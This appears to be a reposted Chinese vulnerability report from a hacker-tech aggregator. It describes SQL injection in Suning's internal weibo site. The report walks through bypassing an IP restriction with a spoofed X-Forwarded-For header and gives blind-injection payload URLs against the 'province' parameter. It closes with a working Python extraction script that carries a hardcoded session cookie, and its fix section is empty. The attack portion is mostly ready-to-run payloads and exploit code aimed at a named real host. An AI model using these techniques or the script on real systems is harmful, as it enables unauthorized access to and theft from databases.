记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

苏宁内部系统SQL注入(附利用方法和验证脚本)

2015-08-16 06:10

漏洞站点:http://weibo.cnsuning.com/ (苏宁:不是所有的微博都叫苏宁微博)



0x01:绕过ip地址限制



直接访问该地址,提示“您当前的IP在不是苏宁电器总部的IP,无法访问前台。”

QQ图片20150701155941.png





额,目测是验证客户端的来源ip,直接使用 X-Forwarded-For 插件就可绕过验证

QQ图片20150701160121.png





设置好后,直接访问目标地址

QQ图片20150701160237.png





嗯哼,直接打开了。





0x02:获取内部帐号



通过收集信息,直接登录一个内部帐号(此处略~~~)





0x03:SQL注入漏洞



通过测试,发现该系统存在SQL注入漏洞



问题链接为:http://weibo.cnsuning.com/ajax.php?mod=member&code=sel&type=top&province=1&hid_city=



其中参数 province 存在注入,



判断数据库名的长度,



http://weibo.cnsuning.com/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/length(database())=5&hid_city=



当 length 的长度等于5时返回正常

QQ图片20150701161446.png







修改语句直接跑取数据库名



code 区域
/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/ascii(substr(database(),N,1))=M&hid_city=

其中 N 代表第几位字符 ,M 代表字母 ascii 码







当前数据库名称为“weibo”



QQ图片20150701161733.jpg

漏洞证明:

附上利用脚本:

code 区域
#encoding=utf-8 



import httplib

import time

import string

import sys

import random

import urllib



headers = {'Content-Type': 'application/x-www-form-urlencoded',

'X-Requested-With': 'XMLHttpRequest',

'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36',

'Cookie':' _wbma=weibo.cnsuning.com%7C14353112666246444095519302%7C1435311266624%7C1435736372201%7C1435736405085%7C81%7C3; _wbmc=weibo.cnsuning.com; _wbmb=14357360303501756793251744%7C%7C%7C22;jishigou_YnQbd2_auth=b894Q1QF2ymXvAaat%2BBJ0dwP0InpJNhi3zGtCB30mGyR2Q4BH7uk%2Bf%2F%2FQKxTY%2Bysci6B4luF2L1gMgNn6on8SHIcKw; jishigou_YnQbd2_login_credits=1435736257; jishigou_YnQbd2_sid=DPZcJd',

'X-Forwarded-For':'192.168.121.194'}



payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'



print 'start to retrive Current database name :'



user = ''



for i in range(1,6):



for payload in payloads:

conn = httplib.HTTPConnection('weibo.cnsuning.com', timeout=120)

conn.request(method='GET',

url='/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/ascii(substr(database(),%s,1))=%s' % (i,ord(payload)),

headers=headers)

resp = conn.getresponse()

html_doc = resp.read()

conn.close()

#print html_doc

print '.',

if html_doc.find('value=41') > 0: # True

#print bb

user += payload

print '\n[in progress]', user

break

print '\nCurrent Database name is', user

修复方案:

知识来源: www.wooyun.org/bugs/wooyun-2015-0123916

阅读:83588 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“苏宁内部系统SQL注入(附利用方法和验证脚本)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云